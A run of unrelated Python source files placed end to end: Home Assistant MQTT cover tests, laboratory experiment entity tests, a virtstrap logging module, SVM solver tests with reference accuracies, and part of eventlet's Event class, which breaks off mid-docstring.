mqtt_mock): """Test MQTT cover device registry integration.""" await help_test_entity_device_info_with_connection( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_entity_device_info_with_identifier(hass, mqtt_mock): """Test MQTT cover device registry integration.""" await help_test_entity_device_info_with_identifier( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_entity_device_info_update(hass, mqtt_mock): """Test device registry update.""" await help_test_entity_device_info_update( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_entity_device_info_remove(hass, mqtt_mock): """Test device registry remove.""" await help_test_entity_device_info_remove( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_entity_id_update_subscriptions(hass, mqtt_mock): """Test MQTT subscriptions are managed when entity_id is updated.""" await help_test_entity_id_update_subscriptions( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_entity_id_update_discovery_update(hass, mqtt_mock): """Test MQTT discovery update when entity_id is updated.""" await help_test_entity_id_update_discovery_update( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG ) async def test_entity_debug_info_message(hass, mqtt_mock): """Test MQTT debug info.""" await help_test_entity_debug_info_message( hass, mqtt_mock, cover.DOMAIN, DEFAULT_CONFIG, SERVICE_OPEN_COVER, command_payload="OPEN", ) async def test_state_and_position_topics_state_not_set_via_position_topic( hass, mqtt_mock ): """Test state is not set via position topic when both state and position topics are set.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "position_topic": "get-position-topic", "position_open": 100, "position_closed": 0, "state_open": "OPEN", "state_closed": "CLOSE", "command_topic": "command-topic", "qos": 0, } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN assert not state.attributes.get(ATTR_ASSUMED_STATE) async_fire_mqtt_message(hass, "state-topic", "OPEN") state = hass.states.get("cover.test") assert state.state == STATE_OPEN async_fire_mqtt_message(hass, "get-position-topic", "0") state = hass.states.get("cover.test") assert state.state == STATE_OPEN async_fire_mqtt_message(hass, "get-position-topic", "100") state = hass.states.get("cover.test") assert state.state == STATE_OPEN async_fire_mqtt_message(hass, "state-topic", "CLOSE") state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async_fire_mqtt_message(hass, "get-position-topic", "0") state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async_fire_mqtt_message(hass, "get-position-topic", "100") state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async def test_set_state_via_position_using_stopped_state(hass, mqtt_mock): """Test the controlling state via position topic using stopped state.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "position_topic": "get-position-topic", "position_open": 100, "position_closed": 0, "state_open": "OPEN", "state_closed": "CLOSE", "state_stopped": "STOPPED", "command_topic": "command-topic", "qos": 0, } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN assert not state.attributes.get(ATTR_ASSUMED_STATE) async_fire_mqtt_message(hass, "state-topic", "OPEN") state = hass.states.get("cover.test") assert state.state == STATE_OPEN async_fire_mqtt_message(hass, "get-position-topic", "0") state = hass.states.get("cover.test") assert state.state == STATE_OPEN async_fire_mqtt_message(hass, "state-topic", "STOPPED") state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async_fire_mqtt_message(hass, "get-position-topic", "100") state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async_fire_mqtt_message(hass, "state-topic", "STOPPED") state = hass.states.get("cover.test") assert state.state == STATE_OPEN async def test_position_via_position_topic_template(hass, mqtt_mock): """Test position by updating status via position template.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "set_position_topic": "set-position-topic", "position_topic": "get-position-topic", "position_template": "{{ (value | multiply(0.01)) | int }}", } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "get-position-topic", "99") current_cover_position_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position_position == 0 async_fire_mqtt_message(hass, "get-position-topic", "5000") current_cover_position_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position_position == 50 async def test_position_via_position_topic_template_json_value(hass, mqtt_mock, caplog): """Test position by updating status via position template with a JSON value.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "set_position_topic": "set-position-topic", "position_topic": "get-position-topic", "position_template": "{{ value_json.Var1 }}", } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "get-position-topic", '{"Var1": 9, "Var2": 60}') current_cover_position_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position_position == 9 async_fire_mqtt_message(hass, "get-position-topic", '{"Var1": 50, "Var2": 10}') current_cover_position_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position_position == 50 async_fire_mqtt_message(hass, "get-position-topic", '{"Var2": 60}') assert ( "Template variable warning: 'dict object' has no attribute 'Var1' when rendering" ) in caplog.text async def test_position_template_with_entity_id(hass, mqtt_mock): """Test position by updating status via position template.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "set_position_topic": "set-position-topic", "position_topic": "get-position-topic", "position_template": '\ {% if state_attr(entity_id, "current_position") != None %}\ {{ value | int + state_attr(entity_id, "current_position") }} \ {% else %} \ {{ value }} \ {% endif %}', } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "get-position-topic", "10") current_cover_position_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position_position == 10 async_fire_mqtt_message(hass, "get-position-topic", "10") current_cover_position_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position_position == 20 async def test_position_via_position_topic_template_return_json(hass, mqtt_mock): """Test position by updating status via position template and returning json.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "set_position_topic": "set-position-topic", "position_topic": "get-position-topic", "position_template": '{{ {"position" : value} | tojson }}', } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "get-position-topic", "55") current_cover_position_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position_position == 55 async def test_position_via_position_topic_template_return_json_warning( hass, caplog, mqtt_mock ): """Test position by updating status via position template returning json without position attribute.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "set_position_topic": "set-position-topic", "position_topic": "get-position-topic", "position_template": '{{ {"pos" : value} | tojson }}', } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "get-position-topic", "55") assert ( "Template (position_template) returned JSON without position attribute" in caplog.text ) async def test_position_and_tilt_via_position_topic_template_return_json( hass, mqtt_mock ): """Test position and tilt by updating the position via position template.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "set_position_topic": "set-position-topic", "position_topic": "get-position-topic", "position_template": '\ {{ {"position" : value, "tilt_position" : (value | int / 2)| int } | tojson }}', } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "get-position-topic", "0") current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] current_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_position == 0 and current_tilt_position == 0 async_fire_mqtt_message(hass, "get-position-topic", "99") current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] current_tilt_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_TILT_POSITION ] assert current_cover_position == 99 and current_tilt_position == 49 async def test_position_via_position_topic_template_all_variables(hass, mqtt_mock): """Test position by updating status via position template.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "set_position_topic": "set-position-topic", "position_topic": "get-position-topic", "tilt_command_topic": "tilt-command-topic", "position_open": 99, "position_closed": 1, "tilt_min": 11, "tilt_max": 22, "position_template": "\ {% if value | int < tilt_max %}\ {{ tilt_min }}\ {% endif %}\ {% if value | int > position_closed %}\ {{ position_open }}\ {% endif %}", } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "get-position-topic", "0") current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position == 10 async_fire_mqtt_message(hass, "get-position-topic", "55") current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position == 100 async def test_set_state_via_stopped_state_no_position_topic(hass, mqtt_mock): """Test the controlling state via stopped state when no position topic.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "state_open": "OPEN", "state_closed": "CLOSE", "state_stopped": "STOPPED", "state_opening": "OPENING", "state_closing": "CLOSING", "command_topic": "command-topic", "qos": 0, "optimistic": False, } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "state-topic", "OPEN") state = hass.states.get("cover.test") assert state.state == STATE_OPEN async_fire_mqtt_message(hass, "state-topic", "OPENING") state = hass.states.get("cover.test") assert state.state == STATE_OPENING async_fire_mqtt_message(hass, "state-topic", "STOPPED") state = hass.states.get("cover.test") assert state.state == STATE_OPEN async_fire_mqtt_message(hass, "state-topic", "CLOSING") state = hass.states.get("cover.test") assert state.state == STATE_CLOSING async_fire_mqtt_message(hass, "state-topic", "STOPPED") state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async def test_position_via_position_topic_template_return_invalid_json( hass, caplog, mqtt_mock ): """Test position by updating status via position template and returning invalid json.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "set_position_topic": "set-position-topic", "position_topic": "get-position-topic", "position_template": '{{ {"position" : invalid_json} }}', } }, ) await hass.async_block_till_done() async_fire_mqtt_message(hass, "get-position-topic", "55") assert ("Payload '{'position': Undefined}' is not numeric") in caplog.text async def test_set_position_topic_without_get_position_topic_error( hass, caplog, mqtt_mock ): """Test error when set_position_topic is used without position_topic.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "command-topic", "set_position_topic": "set-position-topic", "value_template": "{{100-62}}", } }, ) await hass.async_block_till_done() assert ( f"'{CONF_SET_POSITION_TOPIC}' must be set together with '{CONF_GET_POSITION_TOPIC}'." ) in caplog.text async def test_value_template_without_state_topic_error(hass, caplog, mqtt_mock): """Test error when value_template is used and state_topic is missing.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "command-topic", "value_template": "{{100-62}}", } }, ) await hass.async_block_till_done() assert ( f"'{CONF_VALUE_TEMPLATE}' must be set together with '{CONF_STATE_TOPIC}'." ) in caplog.text async def test_position_template_without_position_topic_error(hass, caplog, mqtt_mock): """Test error when position_template is used and position_topic is missing.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "command-topic", "position_template": "{{100-52}}", } }, ) await hass.async_block_till_done() assert ( f"'{CONF_GET_POSITION_TEMPLATE}' must be set together with '{CONF_GET_POSITION_TOPIC}'." in caplog.text ) async def test_set_position_template_without_set_position_topic( hass, caplog, mqtt_mock ): """Test error when set_position_template is used and set_position_topic is missing.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "command-topic", "set_position_template": "{{100-42}}", } }, ) await hass.async_block_till_done() assert ( f"'{CONF_SET_POSITION_TEMPLATE}' must be set together with '{CONF_SET_POSITION_TOPIC}'." in caplog.text ) async def test_tilt_command_template_without_tilt_command_topic( hass, caplog, mqtt_mock ): """Test error when tilt_command_template is used and tilt_command_topic is missing.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "command-topic", "tilt_command_template": "{{100-32}}", } }, ) await hass.async_block_till_done() assert ( f"'{CONF_TILT_COMMAND_TEMPLATE}' must be set together with '{CONF_TILT_COMMAND_TOPIC}'." in caplog.text ) async def test_tilt_status_template_without_tilt_status_topic_topic( hass, caplog, mqtt_mock ): """Test error when tilt_status_template is used and tilt_status_topic is missing.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "command-topic", "tilt_status_template": "{{100-22}}", } }, ) await hass.async_block_till_done() assert ( f"'{CONF_TILT_STATUS_TEMPLATE}' must be set together with '{CONF_TILT_STATUS_TOPIC}'." in caplog.text ) @pytest.mark.parametrize( "service,topic,parameters,payload,template", [ ( SERVICE_OPEN_COVER, "command_topic", None, "OPEN", None, ), ( SERVICE_SET_COVER_POSITION, "set_position_topic", {ATTR_POSITION: "50"}, 50, "set_position_template", ), ( SERVICE_SET_COVER_TILT_POSITION, "tilt_command_topic", {ATTR_TILT_POSITION: "45"}, 45, "tilt_command_template", ), ], ) async def test_publishing_with_custom_encoding( hass, mqtt_mock, caplog, service, topic, parameters, payload, template, ): """Test publishing MQTT payload with different encoding.""" domain = cover.DOMAIN config = DEFAULT_CONFIG[domain] config["position_topic"] = "some-position-topic" await help_test_publishing_with_custom_encoding( hass, mqtt_mock, caplog, domain, config, service, topic, parameters, payload, template, ) async def test_reloadable(hass, mqtt_mock, caplog, tmp_path): """Test reloading the MQTT platform.""" domain = cover.DOMAIN config = DEFAULT_CONFIG[domain] await help_test_reloadable(hass, mqtt_mock, caplog, tmp_path, domain, config) async def test_reloadable_late(hass, mqtt_client_mock, caplog, tmp_path): """Test reloading the MQTT platform with late entry setup.""" domain = cover.DOMAIN config = DEFAULT_CONFIG[domain] await help_test_reloadable_late(hass, caplog, tmp_path, domain, config) @pytest.mark.parametrize( "topic,value,attribute,attribute_value", [ ("state_topic", "open", None, None), ("state_topic", "closing", None, None), ("position_topic", "40", "current_position", 40), ("tilt_status_topic", "60", "current_tilt_position", 60), ], ) async def test_encoding_subscribable_topics( hass, mqtt_mock, caplog, topic, value, attribute, attribute_value ): """Test handling of incoming encoded payload.""" await help_test_encoding_subscribable_topics( hass, mqtt_mock, caplog, cover.DOMAIN, DEFAULT_CONFIG[cover.DOMAIN], topic, value, attribute, attribute_value, skip_raw_test=True, )
import pytest from everest.repositories.rdb.testing import check_attributes from everest.repositories.rdb.testing import persist from thelma.tests.entity.conftest import TestEntityBase class TestExperimentEntity(TestEntityBase): def test_init(self, experiment_fac): exp = experiment_fac() check_attributes(exp, experiment_fac.init_kw) assert len(exp.experiment_racks) == 0 @pytest.mark.parametrize('kw1,kw2,result', [(dict(id=-1), dict(id=-1), True), (dict(id=-1), dict(id=-2), False)]) def test_equality(self, experiment_fac, experiment_design_fac, plate_fac, kw1, kw2, result): ed1 = experiment_design_fac(**kw1) ed2 = experiment_design_fac(**kw2) rack1 = plate_fac(**kw1) rack2 = plate_fac(**kw2) exp1 = experiment_fac(experiment_design=ed1, source_rack=rack1) exp2 = experiment_fac(experiment_design=ed2, source_rack=rack2) exp3 = experiment_fac(experiment_design=ed2, source_rack=rack1) exp4 = experiment_fac(experiment_design=ed1, source_rack=rack2) assert (exp1 == exp2) is result assert (exp1 == exp3) is result assert (exp1 == exp4) is result def test_persist(self, nested_session, experiment_fac, experiment_job_fac): exp = experiment_fac() # FIXME: Working around the circular dependency of experiment and # experiment job here. exp_job = experiment_job_fac(experiments=[exp]) kw = experiment_fac.init_kw kw['job'] = exp.job exp.job = exp_job persist(nested_session, exp, kw, True) class TestExperimentRackEntity(TestEntityBase): def test_init(self, experiment_rack_fac): exp_r = experiment_rack_fac() check_attributes(exp_r, experiment_rack_fac.init_kw) class TestExperimentDesignEntity(TestEntityBase): def test_init(self, experiment_design_fac): exp_dsgn = experiment_design_fac() check_attributes(exp_dsgn, experiment_design_fac.init_kw) def test_persist(self, nested_session, experiment_design_fac): exp_design = experiment_design_fac() persist(nested_session, exp_design, experiment_design_fac.init_kw, True) class TestExperimentDesignRackEntity(TestEntityBase): def test_init(self, experiment_design_rack_fac): exp_dr = experiment_design_rack_fac() check_attributes(exp_dr, experiment_design_rack_fac.init_kw) class TestExperimentMetadataEntity(TestEntityBase): def test_init(self, experiment_metadata_fac): em = experiment_metadata_fac() check_attributes(em, experiment_metadata_fac.init_kw) @pytest.mark.parametrize('kw1,kw2,result', [(dict(label='em1'), dict(label='em1'), True), (dict(label='em1'), dict(label='em2'), False)]) def test_equality(self, subproject_fac, experiment_metadata_fac, kw1, kw2, result): sp1 = subproject_fac(**kw1) sp2 = subproject_fac(**kw2) em1 = experiment_metadata_fac(subproject=sp1, **kw1) em2 = experiment_metadata_fac(subproject=sp2, **kw2) assert (em1 == em2) is result def test_persist(self, nested_session, experiment_metadata_fac): exp_metadata = experiment_metadata_fac() persist(nested_session, exp_metadata, experiment_metadata_fac.init_kw, True)
""" virtstrap.log ------------- Provides a central logging facility. It is used to record log info and report both to a log file and stdout """ import sys import logging import traceback CLINT_AVAILABLE = True try: from clint.textui import puts, colored except: # Clint is still not stable enough yet to just import with so much # trust, but I really like colored output. So we'll give it a shot # and if it doesn't work we will just do something else. CLINT_AVAILABLE = False def get_logging_level(level): logging_level = None if isinstance(level, (str, unicode)): level = level.upper() try: logging_level = getattr(logging, level.upper()) except AttributeError: raise AttributeError('Tried to grab logging level "%s"' ' but it does not exist' % level) elif isinstance(level, int): # Do nothing logging_level = level else: raise TypeError('Invalid logging level. Must be string or int %s' % str(level)) return logging_level class VirtstrapLogger(object): """Custom logger for use with virtstrap It'll allow the logger to store logged data before a log file is setup. It is meant to be used globally. """ def __init__(self): self._handlers = [] self._log_lines = [] #storage before any handlers appear def add_handler(self, handler): self._handlers.append(handler) log_lines = self._log_lines for level, message in log_lines: self.log(level, message, new_line=False) self._log_lines = [] def debug(self, message, **kwargs): self.log('debug', message, **kwargs) def error(self, message, **kwargs): self.log('error', message, **kwargs) def info(self, message, **kwargs): self.log('info', message, **kwargs) def warning(self, message, **kwargs): self.log('warning', message, **kwargs) def critical(self, message, **kwargs): self.log('critical', message, **kwargs) def exception(self, message, **kwargs): exception_str = self._get_exception_str() self.log('error', '%s\n%s' % (message, exception_str)) def debug_exception(self, message, **kwargs): """Stores exception except using the debug level""" exception_str = self._get_exception_str() self.log('debug', '%s\n%s' % (message, exception_str)) def _get_exception_str(self): exception_info = sys.exc_info() exception_lines = traceback.format_exception(*exception_info) exception_str = ''.join(exception_lines) return exception_str def log(self, level, message, new_line=True): if new_line: message = "%s\n" % message handlers = self._handlers if not handlers: self._log_lines.append((level, message)) else: for handler in handlers: handler.log(level, message) def close(self): handlers = self._handlers for handler in handlers: close = getattr(handler, 'close') if close: close() class VirtstrapLogHandler(object): def __init__(self, level='debug'): self._level = get_logging_level(level) def set_level(self, level): self._level = get_logging_level(level) def log(self, level, message): current_level = get_logging_level(level) if current_level >= self._level: self.emit(level, message) def emit(self, level, message): raise NotImplementedError('Please implement an emit method') def close(self): pass class ConsoleLogHandler(VirtstrapLogHandler): def emit(self, level, message): sys.stdout.write(message) class ColoredConsoleLogHandler(VirtstrapLogHandler): level_colors = { "DEBUG": "green", "INFO": "black", "WARNING": "yellow", "CRITICAL": "purple", "ERROR": "red", "EXCEPTION": "red", } def emit(self, level, output): color = self.level_colors.get(level, "black") colored_function = getattr(colored, color, lambda text: text) colored_output = colored_function(output) puts(colored_output) class FileLogHandler(VirtstrapLogHandler): """File Log Handler that uses built in logging to log""" def __init__(self, filename): self._file = open(filename, 'a') def emit(self, level, message): if self._file: self._file.write(message) def close(self): self._file.close() self._file = None class VirtstrapConsoleLogHandler(logging.Handler): def __init__(self, outputter): self._outputter = outputter logging.Handler.__init__(self) def emit(self, record): outputter = self._outputter output_string = self.format(record) outputter.write(output_string, record.levelname) class ConsoleLogOutputter(object): def write(self, output, level): print(output) class ColoredConsoleLogOutputter(ConsoleLogOutputter): level_colors = { "DEBUG": "green", "INFO": "black", "WARNING": "yellow", "CRITICAL": "purple", "ERROR": "red", "EXCEPTION": "red", } def write(self, output, level): color = self.level_colors.get(level, "black") colored_function = getattr(colored, color, lambda text: text) colored_output = colored_function(output) puts(colored_output) logger = VirtstrapLogger() VERBOSITY_LEVELS = { 0: None, 1: logging.WARNING, 2: logging.INFO, 3: logging.DEBUG, } def setup_logger(verbosity, no_colored_output=False, log_file=None): """Sets up the logger for the program. DO NOT USE DIRECTLY IN COMMANDS""" verbosity_level = VERBOSITY_LEVELS.get(verbosity, logging.INFO) if log_file: file_handler = FileLogHandler(log_file) # The file should log all things to be used for error reporting file_handler.set_level(logging.DEBUG) logger.add_handler(file_handler) if not verbosity_level: return console_handler = ConsoleLogHandler() if CLINT_AVAILABLE: console_handler = ColoredConsoleLogHandler() console_handler.set_level(verbosity_level) logger.add_handler(console_handler)
from ...utils.tests import base as base from ...utils.tests import mpi as mpit __REFERENCE_RESULTS__ = { "dryrun": { 0.1: { 0.1: { "accuracy": 1-0.9300, }, 1: { "accuracy": 1-0.9300, }, 10: { "accuracy": 1-0.9300, }, }, }, "glass": { 0.001: { 0.1: { "accuracy": 1-0.6667, }, 1: { "accuracy": 1-0.6190, }, 10: { "accuracy": 1-0.3333, }, }, }, "iris": { 0.001: { 0.1: { "accuracy": 1-0.1333, }, 1: { "accuracy": 1-0.2667, }, 10: { "accuracy": 1-0.2667, }, }, }, "news20": { 0.001: { 0.1: { "accuracy": 1-0.2923, }, 1: { "accuracy": 1-0.2297, }, 10: { "accuracy": 1-0.1615, }, }, }, } def do_llwmr_tsd(options_update={}, mpi_comm=None, datasets=None, reference=True): solver_id = "llw_mr_sparse" # default options options = { "epsilon": 0.001, "C": 10**-1, "mpi_comm": mpi_comm, } options.update(options_update) reference_results = __REFERENCE_RESULTS__ if reference is False: reference_results = None base._do_test_small_datasets(solver_id, options, datasets=datasets, reference_results=reference_results, mpi_comm=mpi_comm) pass def do_llwmr_tld(options_update={}, mpi_comm=None, datasets=None, reference=True): solver_id = "llw_mr_sparse" # default options options = { "epsilon": 0.1, "C": 10**-1, "mpi_comm": mpi_comm, } options.update(options_update) tolerance = 0.01 reference_results = __REFERENCE_RESULTS__ if reference is False: reference_results = None base._do_test_large_datasets(solver_id, options, datasets=datasets, reference_results=reference_results, mpi_comm=mpi_comm, tolerance=tolerance) pass def test_default_sd(): do_llwmr_tsd() @base.testattr("slow") def test_default_ld(): do_llwmr_tld() @base.testattr("slow") def test_C_1_sd(): do_llwmr_tsd({"C": 10**0}) @base.testattr("slow") def test_C_1_ld(): do_llwmr_tld({"C": 10**0}) @base.testattr("slow") def test_C_10_sd(): do_llwmr_tsd({"C": 10**1, "max_iter": 10000}) @base.testattr("slow") def test_C_10_ld(): do_llwmr_tld({"C": 10**1, "max_iter": 10000}) def test_small_epsilon_sd(): do_llwmr_tsd({"epsilon": 0.0001}, reference=False) @base.testattr("slow") def test_small_epsilon_ld(): do_llwmr_tld({"epsilon": 0.01}, reference=False) def test_no_shuffle_sd(): do_llwmr_tsd({"shuffle": False}) @base.testattr("slow") def test_no_shuffle_ld(): do_llwmr_tld({"shuffle": False}) def test_seed_12345_sd(): do_llwmr_tsd({"seed": 12345}) @base.testattr("slow") def test_seed_12345_ld(): do_llwmr_tld({"seed": 12345}) @base.testattr("slow") def test_dtype_float32_sd(): do_llwmr_tsd({"dtype": "float32"}) @base.testattr("slow") def test_dtype_float32_ld(): do_llwmr_tld({"dtype": "float32"}) @base.testattr("slow") def test_dtype_float64_sd(): do_llwmr_tsd({"dtype": "float64"}) @base.testattr("slow") def test_dtype_float64_ld(): do_llwmr_tld({"dtype": "float64"}) @base.testattr("slow") def test_idtype_uint32_sd(): do_llwmr_tsd({"idtype": "uint32"}) @base.testattr("slow") def test_idtype_uint32_ld(): do_llwmr_tld({"idtype": "uint32"}) @base.testattr("slow") def test_idtype_uint64_sd(): do_llwmr_tsd({"idtype": "uint64"}) @base.testattr("slow") def test_idtype_uint64_ld(): do_llwmr_tld({"idtype": "uint64"}) def test_nr_threads_2_sd(): do_llwmr_tsd({"nr_threads": 2}) @base.testattr("slow") def test_nr_threads_2_ld(): do_llwmr_tld({"nr_threads": 2}) def test_nr_threads_5_sd(): do_llwmr_tsd({"nr_threads": 5}) @base.testattr("slow") def test_nr_threads_5_ld(): do_llwmr_tld({"nr_threads": 5}) def test_folds_2_sd(): do_llwmr_tsd({"folds": 2}) @base.testattr("slow") def test_folds_2_ld(): do_llwmr_tld({"folds": 2}) def test_folds_5_sd(): do_llwmr_tsd({"folds": 5}) @base.testattr("slow") def test_folds_5_ld(): do_llwmr_tld({"folds": 5}) def test_variant_1_sd(): do_llwmr_tsd({"variant": 1}) @base.testattr("slow") def test_variant_1_ld(): do_llwmr_tld({"variant": 1}) def test_shrinking_1_sd(): do_llwmr_tsd({"shrinking": 1}) @base.testattr("slow") def test_shrinking_1_ld(): do_llwmr_tld({"shrinking": 1}) @mpit.wrap(2) def test_nr_proc_2_sd(comm): do_llwmr_tsd({}, comm) @base.testattr("slow") @mpit.wrap(2) def test_nr_proc_2_ld(comm): do_llwmr_tld({}, comm) @mpit.wrap(3) def test_nr_proc_3_sd(comm): do_llwmr_tsd({}, comm) @base.testattr("slow") @mpit.wrap(3) def test_nr_proc_3_ld(comm): do_llwmr_tld({}, comm)
from __future__ import print_function from eventlet import hubs from eventlet.support import greenlets as greenlet __all__ = ['Event'] class NOT_USED: def __repr__(self): return 'NOT_USED' NOT_USED = NOT_USED() class Event(object): """An abstraction where an arbitrary number of coroutines can wait for one event from another. Events are similar to a Queue that can only hold one item, but differ in two important ways: 1. calling :meth:`send` never unschedules the current greenthread 2. :meth:`send` can only be called once; create a new event to send again. They are good for communicating results between coroutines, and are the basis for how :meth:`GreenThread.wait() <eventlet.greenthread.GreenThread.wait>` is implemented. >>> from eventlet import event >>> import eventlet >>> evt = event.Event() >>> def baz(b): ... evt.send(b + 1) ... >>> _ = eventlet.spawn_n(baz, 3) >>> evt.wait() 4 """ _result = None _exc = None def __init__(self): self._waiters = set() self.reset() def __str__(self): params = (self.__class__.__name__, hex(id(self)), self._result, self._exc, len(self._waiters)) return '<%s at %s result=%r _exc=%r _waiters[%d]>' % params def reset(self): # this is kind of a misfeature and doesn't work perfectly well, # it's better to create a new event rather than reset an old one # removing documentation so that we don't get new use cases for it assert self._result is not NOT_USED, 'Trying to re-reset() a fresh event.' self._result = NOT_USED self._exc = None def ready(self): """ Return true if the :meth:`wait` call will return immediately. Used to avoid waiting for things that might take a while to time out. For example, you can put a bunch of events into a list, and then visit them all repeatedly, calling :meth:`ready` until one returns ``True``, and then you can :meth:`wait` on that one.""" return self._result is not NOT_USED def has_exception(self): return self._exc is not None def has_result(self): return self._result is not NOT_USED and self._exc is None def poll(self, notready=None): if self.ready(): return self.wait() return notready # QQQ make it return tuple (type, value, tb) instead of raising # because # 1) "poll" does not imply raising # 2) it's better not to screw up caller's sys.exc_info() by default # (e.g. if caller wants to calls the function in except or finally) def poll_exception(self, notready=None): if self.has_exception(): return self.wait() return notready def poll_result(self, notready=None): if self.has_result(): return self.wait() return notready def wait(self): """Wait until another coroutine calls :meth:`send`. Returns the value the other coroutine passed to :meth:`send`. >>> from eventlet import event >>> import eventlet >>> evt = event.Event() >>> def wait_on(): ... retval = evt.wait() ... print("waited for {0}".format(retval)) >>> _ = eventlet.spawn(wait_on) >>> evt.send('result') >>> eventlet.sleep(0) waited for result Returns immediately if the event has already occured. >>> evt.wait() 'result' """ current = greenlet.getcurrent() if self._result is NOT_USED: self._waiters.add(current) try: return hubs.get_hub().switch() finally: self._waiters.discard(current) if self._exc is not None: current.throw(*self._exc) return self._result def send(self, result=None, exc=None): """Makes arrangements for the waiters to be woken with the result and then returns immediately to the parent. >>> from eventlet import event >>> import eventlet >>> evt = event.Event() >>> def waiter(): ... print('about to wait') ... result = evt.wait() ... print('waited for {0}'.format(result)) >>> _ = eventlet.spawn(waiter) >>> eventlet.sleep(0) about to wait >>> evt.send('a') >>> eventlet.sleep(0) waited for a It is an error to call :meth:`send` multiple times on the same event. >>> evt.send('whoops') Traceback (most recent call last): ... AssertionError: Trying to re-send() an already-triggered event. Use :meth:`reset` between :meth:`send` s to reuse an event object. """ assert self._result is NOT_USED, 'Trying to re-send() an already-triggered event.' self._result = result if exc is not None and not isinstance(exc, tuple): exc = (exc, ) self._exc = exc hub = hubs.get_hub() for waiter in self._waiters: hub.schedule_call_global( 0, self._do_send, self._result, self._exc, waiter) def _do_send(self, result, exc, waiter): if waiter in self._waiters: if exc is None: waiter.switch(result) else: waiter.throw(*exc) def send_exception(self, *args): """Same as :meth:`send`, but sends an exception to waiters. The arguments to send_exception are the same as the arguments to ``raise``. If a single exception object is passed in, it will be re-raised when :meth:`wait` is called, generating a new stacktrace. >>> from eventlet import event >>> evt = event.Event() >>> evt.send_exception(RuntimeError()) >>> evt.wait() Traceback (most recent call last): File "<stdin>", line 1, in <module> File "eventlet/event.py", line 120, in wait current.throw(*self._exc) RuntimeError If it's important to preserve the entire original stack trace, you must pass in the entire :func:`sys.exc_info` tuple. >>> import sys >>> evt = event.Event() >>> try: ... raise RuntimeError() ... except RuntimeError: ... 